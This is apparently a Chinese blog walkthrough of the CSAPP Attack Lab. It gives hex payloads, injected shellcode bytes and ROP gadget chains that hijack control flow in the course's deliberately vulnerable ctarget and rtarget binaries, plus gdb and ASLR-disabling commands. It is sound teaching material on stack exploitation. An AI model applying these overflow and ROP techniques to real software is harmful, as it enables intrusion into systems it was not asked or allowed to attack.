CSAPP Attack Lab通关实战:从缓冲区溢出到ROP链构造
2026/9/11 1:35:19 网站建设 项目流程

如果你正在啃《深入理解计算机系统》(CSAPP),那Attack Lab应该是第二章实验里最能让你“爽”到的一个。它不像Bomb Lab那样拆炸弹,而是让你亲手站在攻击者的视角,利用缓冲区溢出和返回导向编程(ROP)改写程序的执行流。CSAPP实验(2-2)Attack Lab分两个可执行程序:Ctarget要求你用代码注入(Code Injection)的方式连闯三关,Rtarget则要求你在栈不可执行的前提下,靠拼接程序里已有的指令碎片完成任务。

不管你是刚学完汇编和栈帧体系的计算机专业学生,还是想补上系统安全基本功的工程师,这个实验都能把“函数调用栈”这个抽象概念彻底变成肌肉记忆。本文按我实际通关的顺序展开,会给出通用的侦查方法、每一步的构造思路,以及一些你在网上不太容易搜到的坑位记录。

1. 动手前的三件事:文件梳理、反汇编侦查、跑通测试流程

1.1 实验文件里有什么,每一件都要搞清楚

解压课程提供的target文件后,你会看到几个关键文件:ctargetrtargetcookie.txt,以及hex2raw(有些版本给的是hex2raw.c,需要自己编译)。仔细看这些文件对后面的帮助非常大。

  • ctarget:代码注入攻击的目标程序,栈可执行,缓冲区大小固定。
  • rtarget:ROP攻击的目标程序,栈不可执行,只能利用程序里现成的指令片段。
  • cookie.txt:这个文件很关键,里面是一行十六进制数。每个人的cookie都不同,后面所有攻击载荷都要用到它,它相当于你的“身份ID”。
  • hex2raw:把可读的十六进制文本转换成二进制原始字节流的工具。这个工具的输入是一行行十六进制数字,输出是真正喂给目标程序的攻击载荷。

我见过不少同学上来就反汇编,结果拿着错误的cookie折腾一晚上。先打开cookie.txt,把自己的cookie记下来,这是第一步。

1.2 用 objdump 把目标程序的“底牌”翻出来

拿到实验文件后,第一件事不是急着写payload,而是先反汇编。两个目标程序都要处理:

objdump -d ctarget > ctarget.asm objdump -d rtarget > rtarget.asm

ctarget.asmrtarget.asm就是你接下来所有操作的“地图”。以ctarget为例,先找到maintestgetbuftouch1touch2touch3这些函数。整个实验的调用链一般是:main调用testtest调用getbufgetbuf里用Gets往一个局部缓冲区读数据,这就是攻击入口。

重点关注getbuf的反汇编:

00000000004019b0 <getbuf>: 4019b0: 48 83 ec 28 sub $0x28,%rsp 4019b4: 48 89 e7 mov %rsp,%rdi 4019b7: e8 a4 02 00 00 callq 401c60 <Gets> 4019bc: b8 01 00 00 00 mov $0x1,%eax 4019c1: 48 83 c4 28 add $0x28,%rsp 4019c5: c3 retq

sub $0x28,%rsp表示缓冲区占40个字节。这里要注意,不同课程版本的缓冲区大小可能不同,有的是24字节,有的是32字节,确定缓冲区大小是后续所有payload的地基。Gets不检查长度,想读多少读多少,这就是突破口。

1.3 用标准命令行把测试流程跑通

建议在动手之前,先跑一次完整的“输入payload → 执行目标程序”的流程,确保工具链没问题。比如先写一个最简单的文本文件:

cat > exploit.txt << 'EOF' 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EOF ./hex2raw < exploit.txt > exploit.raw ./ctarget -q -i exploit.raw

注意-q参数,这个参数的意思是“不连接外部评分服务器”,因为我们本地独立运行,没有对应学校的服务,不加-q程序会一直尝试联网并超时。-i参数指定从文件读取输入。如果看到Ouch!或者类似的报错输出,说明整个输入输出链路是通畅的,可以开始正式的攻击了。

2. 代码注入三段式:从“改跳转目标”到“注入完整代码”

这一部分要过Ctarget的Phase 1、2、3。共同点是利用getbuf的缓冲区溢出,把返回地址改成我们想要执行的代码。区别在于,Phase 1只需要改返回地址跳过一段现有代码,Phase 2要在栈上注入自己的机器码,Phase 3还要处理参数和字符串位置的问题。

2.1 Phase 1:最简单的返回地址覆写,理解攻击的本质

先看test函数:

00000000004019db <test>: 4019db: 48 83 ec 18 sub $0x18,%rsp 4019df: bf 02 00 00 00 mov $0x2,%edi 4019e4: e8 6c ff ff ff callq 401955 <getbuf> 4019e9: 89 c2 mov %eax,%edx 4019eb: 83 c2 01 add $0x1,%edx 4019ee: 89 d0 mov %edx,%eax 4019f1: 31 d2 xor %edx,%edx 4019f3: be 21 1c 40 00 mov $0x401c21,%esi 4019f8: bf 01 00 00 00 mov $0x1,%edi 4019fd: b8 00 00 00 00 mov $0x0,%eax 401a02: e8 19 f5 ff ff callq 400f20 <__printf_chk@plt> 401a07: add $0x18,%rsp 401a0b: retq

getbuf返回之后会回到0x4019e9,继续执行test后面的代码。Phase 1的目标是让它不回到test,而是跳到touch1。先反汇编找到touch1的地址,假设是0x401936

那么payload的布局就是:前40字节任意填充(用00或90都行),第41到48字节放touch1的地址,注意小端序,写字节能手写,但用十六进制编辑器或echo配合printf更不容易出错。

exploit.txt可以这样写:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 19 40 00 00 00 00 00

生成raw文件后执行:

./hex2raw < exploit.txt > exploit.raw ./ctarget -q -i exploit.raw

如果看到Touch1!的输出,说明Phase 1通过。这一步别看简单,它教会了你一个核心思想:返回地址存在栈上,而栈上的数据可以被输入覆盖,一旦覆盖,程序的控制流就不再由代码本身决定,而是由你输入的数据决定。

2.2 Phase 2:注入一小段代码,把cookie传进去

Phase 2的目标是让touch2被调用,并且它的参数%rdi必须等于你的cookie。touch2的签名是void touch2(unsigned val),它会用cookie去校验你传入的val

问题来了:我们没法在payload里直接指定%rdi的值,因为ret跳转只改变指令流,不设置寄存器。这时候就需要“注入代码”了——把攻击代码以机器码的形式放在栈上,然后把返回地址指到这段代码的起始地址,让CPU去执行栈上的代码。

先写一小段汇编,逻辑非常直白:

mov $0x59b997fa, %edi # 把cookie放入rdi,这里替换成你自己的cookie pushq $0x401936 # 把touch2的地址压栈 ret # ret弹出touch2地址并跳转

注意为什么用mov $imm32, %edi而不是movq $imm64, %rdimovl会自动把高32位清零,不用担心中间出现符号扩展问题。

把这段汇编用gcc或as编译,再用objdump拿到机器码。更简单的方法是查指令编码表,这段代码的机器码是:

bf fa 97 b9 59 # mov $0x59b997fa, %edi 68 36 19 40 00 # pushq $0x401936 c3 # ret

只有11字节,剩下的29字节用nop(0x90)填充到40字节,然后紧接着放返回地址——这个返回地址必须指向缓冲区起始地址,也就是注入代码所在的位置。但问题是,缓冲区起始地址是多少?用gdb看:

gdb ./ctarget (gdb) b getbuf (gdb) r -q (gdb) p/x $rsp

假设得到$rsp = 0x5561dc58,这说明getbuf的缓冲区起始地址就是0x5561dc58。那么payload布局:

0x5561dc58: bf fa 97 b9 59 68 36 19 40 00 c3 90 90 ... (注入代码+padding) 0x5561dc80: 58 dc 61 55 00 00 00 00 # 返回地址指向0x5561dc58

当你把自己的cookie和touch2地址替换进去执行,看到Touch2!就成功了。这一步的含义很深:你不仅改了控制流,还在栈上造了一段可执行代码,让程序执行了原本不存在的逻辑。这正是“代码注入攻击”的原型。

2.3 Phase 3:让参数指向栈上的字符串,同时防止被后续调用覆盖

Phase 3稍复杂,touch3的签名是void touch3(char *s),它会把%rdi指向的字符串和你的cookie对应的十六进制字符串比较。也就是说,%rdi必须指向一段内存,内存里存放的是cookie的ASCII码形式,比如cookie为0x59b997fa,那字符串就是"59b997fa",在内存里的十六进制是:

35 39 62 39 39 37 66 61 00

注入代码的逻辑和Phase 2基本一样,唯一区别是%rdi不再放cookie数值,而是放字符串在栈上的绝对地址。以rsp=0x5561dc58为例,如果我把字符串放在0x5561dc88,注入代码就是:

mov $0x5561dc88, %rdi pushq $0x401962 # touch3地址 ret

机器码:

48 c7 c7 88 dc 61 55 # movq $0x5561dc88, %rdi 68 62 19 40 00 # pushq $0x401962 c3 # ret

布局上,前40字节放注入代码,第41~48字节放返回地址指向缓冲区首地址,再往后第49字节开始放字符串。这里有一个很容易忽略的致命细节:字符串的位置必须比缓冲区高,不能放在缓冲区内。

为什么会这样?因为touch3内部会调用hexmatchstrlen等函数,这些函数会继续在栈上分配空间并压栈,如果字符串放在缓冲区的前半段,很可能被这些函数新压入的栈帧数据覆盖。CSAPP官方writeup里特意提示了这一点。稳妥做法是把字符串放在返回地址的后面,也就是栈的更高地址方向,这样后续函数压栈时不会碰到。我按上面布局继续,假设字符串在0x5561dc88,验证一下就能看到Touch3!

3. 转向 ROP:没有可执行栈之后怎么办

Ctarget的三关过了,接下来是Rtarget。Rtarget的目标函数和Ctarget一样,还是touch1、touch2、touch3,但程序编译时栈被标记为不可执行。就算你把机器码放到栈上,CPU执行到那里会直接触发段错误,因为现代操作系统有NX(No-eXecute)机制,栈也遵循W^X原则——要么可写,要么可执行,但不能同时。

于是回到了经典的攻击思路:既然不能执行栈上的代码,那就执行程序原有代码段里以ret结尾的短指令序列。这种序列叫gadget,把多个gadget通过ret指令串联起来,就构成了一条ROP链。ROP的巧妙之处在于:每条gadget执行完后,ret会从栈顶弹出下一个地址并跳过去,而栈的内容是攻击者控制的,所以整个执行链完全由你输入的数据编排。

3.1 先说清楚:为什么Rtarget里的“农场”看起来那么奇怪

反汇编Rtarget后,你会发现代码段末尾有一片区域,函数名都是getval_123setval_456这种毫无意义的函数。这些函数干的事情很诡异:把一个常数放进寄存器、往内存写一个值,然后ret。这一片区域就是“gadget农场”(farm)。

设计农场的目标是让里面出现你需要的指令字节序列。关键技巧是:gadget不一定从指令边界开始。x86是变长指令集,可以从任意字节开始解码。比如某个字节序列可能是:

58 c3 # popq %rax; ret

但它可能藏在一个更长指令的中间,比如0x40139a处是58 90 c3,其中58 c3如果从0x40139a开始读,就解析为popq %rax; ret;如果从0x40139b开始读,则是90 c3,即nop; ret。这就是“unaligned gadget”的精髓——利用变长指令集,把原本无意义的字节流重组成想要的指令。

所以搜索gadget时,不要只看反汇编文本里完整的汇编指令,还要用字节模式去匹配。常见方法:

objdump -d rtarget | grep -E "pop.*%rax|mov.*%rax.*%rdi"

或者更细致地直接搜索十六进制字节。可以把rtarget.asm里农场部分的原始字节导出来,再用正则匹配。

3.2 找到Phase 4需要的两个gadget

Phase 4的目标很简单:让%rdi等于cookie,然后跳进touch2。在Ctarget里我们靠注入代码完成,在Rtarget里需要找到能完成这个逻辑的gadget组合。

常规组合是:

  1. popq %rax; ret:从栈顶弹出一个64位值放到%rax,然后ret。我们可以把cookie放到栈上的这个位置。
  2. movq %rax, %rdi; ret:把%rax的值传给%rdi,然后ret跳转。

这个组合的本质是“用一个通用寄存器当跳板”。为什么不用popq %rdi; ret一步到位?因为在农场里不一定存在5f c3这种字节序列。课程故意把gadget设计成必须通过中转寄存器才能组成有效链,让你体会ROP的常规思路。

搜索方法:在rtarget.asm里搜58 c3(popq %rax; ret),再搜48 89 c7 c3(movq %rax, %rdi; ret),或者变种48 89 c7后面紧跟c3。不同版本的靶机程序提供的gadget可能略有差异,例如某些版本只有movl %eax, %edi; ret,那也没问题,因为%eax%rax的低32位,同样能满足cookie比较。

假设找到:

  • 0x4013a5popq %rax; ret
  • 0x4013c5movq %rax, %rdi; ret

Phase 4的payload结构如下:

前40字节填充 地址1:0x4013a5 # pop rax; ret cookie值:fa 97 b9 59 00 00 00 00 # 这里会被pop进rax 地址2:0x4013c5 # mov rax, rdi; ret 地址3:touch2地址

执行过程:getbuf返回,ret取出地址1,跳到pop rax,这一步弹出了紧跟的cookie值并存入rax;随后ret取出地址2,跳到mov rax, rdi,把cookie存入rdi;随后ret取出地址3,跳到touch2,此时%rdi已经是cookie。最终看到Touch2!,Phase 4通过。

3.3 搜索gadget的时候容易犯的几个低级错误

我刚做这关时浪费了不少时间在搜索上,后来总结出几个教训。

第一,不要只看汇编文本。比如rtarget.asm里可能没有一行写着movq %rax,%rdi,但48 89 c7就在某个movl %edx,(%rcx)指令的中间。要相信字节搜索,不相信语义解析。

第二,gadget之后必须是ret。搜索到58 c3这种完美两字节是运气好,很多时候是58 90 c358 41 c3,只要c3在你要的指令后面,中间隔几个nop或其他不影响状态的指令就能用。

第三,注意地址的小端序写入。找到gadget地址比如0x4013a5,在payload里要写成a5 13 40 00 00 00 00 00,高4字节补零。漏掉补零会导致地址解析错误,程序崩溃。

4. Phase 5的硬骨头:让gadget链完成动态寻址

Phase 5是Attack Lab的最终关,也是很多人卡最久的一关。它的核心难点是:touch3期望%rdi指向cookie字符串的地址,而这个字符串在栈上。理论上,上一关Phase 4我们已经会把一个栈上固定地址放入%rdi,但问题是Phase 4没有考虑栈地址的变化。

如果你直接把栈上某个固定地址写进payload,执行时很可能会失败,因为每次运行栈地址会受环境变量、参数影响而略有不同,而且执行gadget链过程中,栈指针%rsp会随着每个ret不断上移。于是必须让程序在运行时动态计算cookie字符串的地址,而不是硬编码一个死地址。

4.1 问题本质:栈指针是运动的,目标地址必须以rsp为基准

假设payload布局固定,cookie字符串放在整条ROP链的最后。执行到getbuf返回时,%rsp正好指向payload里第一个gadget地址的位置。然后每执行一个gadget,ret都会让%rsp增加8字节。等到执行链走到一半时,栈指针已经跑到很后面的位置了。如果开头就把某个固定地址存进去,随着执行链推进,这个地址不会变,但真实栈位置变了,字符串地址就会错位。

所以正确的思路是:在攻击链的第一条gadget处,先把当时的%rsp保存到一个寄存器里,把这个值当作“基地址”,然后在后续步骤里加上一个固定偏移量,得到cookie字符串的真实地址。这个固定偏移量是我们可以预先算出来的,因为payload的布局是我们自己排的。

4.2 构造地址传递链:从rsp到字符串地址

Phase 5的ROP链要用到多组gadget,每个都不复杂,难在把它们组合起来并在心里模拟栈指针的变化。整体思路分四段:

第一段,把%rsp保存到%rdi。需要两个gadget:

  • movq %rsp, %rax; ret:保存当前栈指针到rax
  • movq %rax, %rdi; ret:把rax的值转给rdi,作为后续计算用的基址。

注意时机:执行movq %rsp, %rax时,%rsp指向的是紧随当前gadget地址之后的那个64位值,也就是payload中下一个地址的位置。这个位置就是我们计算偏移量的参考点。

第二段,准备偏移量。用:

  • popq %rax; ret:从栈上弹出一个我们预先写好的常数偏移量到rax

第三段,把偏移量搬运到%esi。为什么是%esi?因为后面的lea指令要用(%rdi,%rsi,1)这种变址寻址,所以偏移量需要在%rsi里。但农场里未必有pop %rsi,常用中转链是:

  • movl %eax, %edx; ret
  • movl %edx, %ecx; ret
  • movl %ecx, %esi; ret

用32位寄存器就够了,因为栈地址的高32位为0,偏移量也不会超过几百字节。

第四段,计算最终地址并传给touch3

  • lea (%rdi,%rsi,1), %rax; ret:计算rdi + rsi,也就是基址加偏移,得到字符串地址。
  • movq %rax, %rdi; ret:把地址放进rdi
  • 跳转到touch3

这条链在一起就是典型的“rsp快照 → 偏移量 → 寄存器搬运 → 地址合成 → 参数传递”流程。每一步单独看都不难,难的是你要精确预判每个ret之后%rsp指向哪里。

4.3 偏移量的计算:别心算,画出来

这是Phase 5里最容易出错的地方。我推荐的实操方法是:把payload的整体布局按8字节一行画出来,从第一个gadget开始标号。

举个例子,假设payload布局如下(偏移量按字节数):

00 ~ 27:填充 28:第一段gadget1(movq %rsp,%rax; ret) 36:第一段gadget2(movq %rax,%rdi; ret) 44:第二段gadget(popq %rax; ret) 52:偏移量常数 60:第三段gadget(movl %eax,%edx; ret) 68:第三段gadget(movl %edx,%ecx; ret) 76:第三段gadget(movl %ecx,%esi; ret) 84:第四段gadget(lea (%rdi,%rsi),%rax; ret) 92:第四段gadget(movq %rax,%rdi; ret) 100:touch3地址 108:cookie字符串 "59b997fa\0"

计算过程:执行第一段第一个gadget的瞬间,%rsp指向偏移量36的位置,也就是第二个gadget地址所在的位置。movq %rsp,%rax把偏移量36这个地址保存了下来。此时%rdi也被设置成了这个值(经过gadget2)。

那么基址就是payload偏移量36处。我们希望最后lea (%rdi,%rsi,1), %rax得到的是字符串地址,即偏移量108。所以偏移量 = 108 - 36 = 72。于是第二段弹出的常数就是72,也就是0x48

这里有一个容易踩的坑:计算时必须考虑popq %rax本身也会改变%rsp,但pop发生在第一段保存完快照之后,不影响已经保存在%rdi里的基址。只要基址是执行早期保存的快照,后续栈指针无论怎么移动,偏移量都是相对于快照点的,所以72这个数在链执行过程中是稳定正确的。

把gadget地址按小端序写入,并把偏移量48 00 00 00 00 00 00 00填进去,生成raw文件执行,看到Touch3!,Phase 5就过了。

5. 实战中更容易踩的五个坑:字节序、cookie、栈对齐、ASLR与调试技巧

5.1 字节序和填充长度,90%的错误都出在这两处

写payload时最常见的错误就是地址字节序写反。把0x401936写成00 00 00 00 36 19 40,结果程序直接跳到空白地址崩溃。记住一点:x86是小端,地址写入内存时低字节在前。0x401936必须写成36 19 40 00 00 00 00 00

填充长度也需要验证。不要默认缓冲区就是40字节,不同实验版本甚至同一版本的不同函数都可能不同。最可靠的方式是看反汇编里getbufsub $0x??, %rsp,比如48 83 ec 28就是40字节。填充短了盖不到返回地址,长了会覆盖到上层的保存栈帧,也会出问题。

另外,hex2raw对输入格式有要求:每行可以写若干十六进制字节,用空格分隔,超过8字节最好换行,否则容易数错。生成raw之后我习惯先看看文件大小:如果payload长度为49字节,那说明只覆盖了部分返回地址,肯定不对;如果长度不是8的倍数,最后一行可能有问题,仔细检查。

5.2 cookie必须对应,字符串大小写也不能错

cookie的取值要严格按cookie.txt里的数值。Phase 3里%rdi指向的是cookie的字符串表示,必须是十六进制数字的ASCII字符。比如cookie是0x59b997fa,字符串是59b997fa,不是0x59b997fa,也不是cookie等字符串。字符串还要以\0结尾,否则hexmatch内部strlen可能会越界读出一堆垃圾字符,导致比较失败。我犯过把0x前缀也写进去的错,结果Phase 3怎么都过不了。

5.3 ASLR与gdb地址漂移问题

关于栈地址稳定性,CSAPP实验官方设计是默认关闭ASLR,所以gdb里看到的地址和直接运行程序时的地址通常一致。但如果你的实验环境比较“现代”,系统开了随机化,你会遇到一个诡异的现象:gdb里payload有效,单独运行./ctarget -q -i exploit.raw却崩溃。

原因很简单:gdb默认会禁用ASLR,栈地址固定;而直接运行时,系统随机化了栈地址。解决方式:

setarch $(uname -m) -R ./ctarget -q -i exploit.raw

-R参数关闭当前进程的地址随机化。如果你在别的环境里做实验遇到栈地址漂移,可以优先检查这个。

另外,gdb调试时如果中断位置不同,%rsp也会不同。比如在getbuf入口断点和Gets返回后断点,栈指针可能不一样。要拿到真正执行payload时用的栈地址,最好在test调用getbuf之前打一个断点,然后在gdb里si单步进入getbuf,看第一行指令执行后的%rsp,这才是缓冲区真正的起始地址。

5.4 调试ROP链时,gdb是唯一的真理来源

Phase 4和Phase 5的ROP链比较长,一次性写对几乎不可能。我的习惯是先在gdb里跑一遍,观察执行流:

gdb --args ./rtarget -q -i exploit.raw (gdb) b *0x4019b0 # getbuf入口 (gdb) r (gdb) ni # 单步进入 (gdb) ni # 单步 (gdb) x/10gx $rsp # 观察栈顶那几个8字节值是不是你预期的gadget地址

getbuf即将ret时,%rsp指向的应该刚好是payload里第一个gadget地址。这时候可以si进入ret,然后bt看当前栈回溯,info registers看寄存器状态。例如Phase 5执行到lea之前,用p/x $rdip/x $rsi确认基址和偏移量,算一下目标地址是否等于字符串实际位置。

这个方法比反复运行程序看报错有效得多,因为ROP链一旦中途跳飞,程序报错信息往往只有Segmentation fault,啥也看不出来。

5.5 关于gadget农场的一些“农场外”思路

如果你在农场里找不到需要的某个gadget,不要绝望,先看看能不能用等价指令替代。比如找不到movq %rax, %rdi,就搜movl %eax, %edi,两者的低32位是兼容的;找不到lea (%rdi,%rsi,1), %rax,就搜add %rsi,%rdi再接mov %rdi,%rax之类的组合。ROP的本质是拼图,不是背诵标准答案。把农场里所有c3结尾的短指令序列拉出来列个表,你会发现农场“故意”藏着很多可用的碎片,有些藏在函数中间,有些藏在函数的movl立即数里。

我自己当时卡在Phase 5,就是因为只看每个函数完整的汇编,没注意到一个lea序列其实藏在setval_212的中间偏移处。后来把rtarget.asm里农场段的原始字节拉出来,逐字节匹配48 8d 04 37 c3,才找到可用的gadget。搜索字节模式比对着函数名猜要靠谱得多。

6. 最后一小段:完成 Attack Lab 之后的几点体会

这个实验做完,我最大的感受是:以前觉得自己懂“函数调用栈”,知道call压入返回地址、ret弹出返回地址,但这些知识只停留在能看懂反汇编的层面。亲手构造一次缓冲区溢出之后,我才真正意识到“返回地址也是普通数据”这句话的分量。栈帧在抽象上是一套规范,但在内存里它就是一块普通的可写数据,只要输入足够长,就能把它拖入攻击者的掌控之中。

另外一个感受是调试能力的重要性。Phase 5那条链,我前前后后改了不下十版,靠着gdb一点点观察每个gadget执行前后的寄存器变化,才最终算准偏移量。这个过程很像做拼图游戏,每个gadget都是拼图块,而ret就是块与块之间的卡扣。一旦你习惯了这个思路,后面再看真实的ROP利用、漏洞分析报告时,至少不会一脸茫然。

最后分享一个小技巧:如果你不想在终端里一遍遍手写hex2raw < exploit.txt > exploit.raw && ./ctarget -q -i exploit.raw,可以写一个超短的shell脚本,把生成和运行绑在一起。每次改完payload,跑一次脚本就能看到结果,效率会高很多。CSAPP这个Attack Lab值得多刷一遍,第一次跟着答案走,第二次自己从头设计payload,收获是完全不同的。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询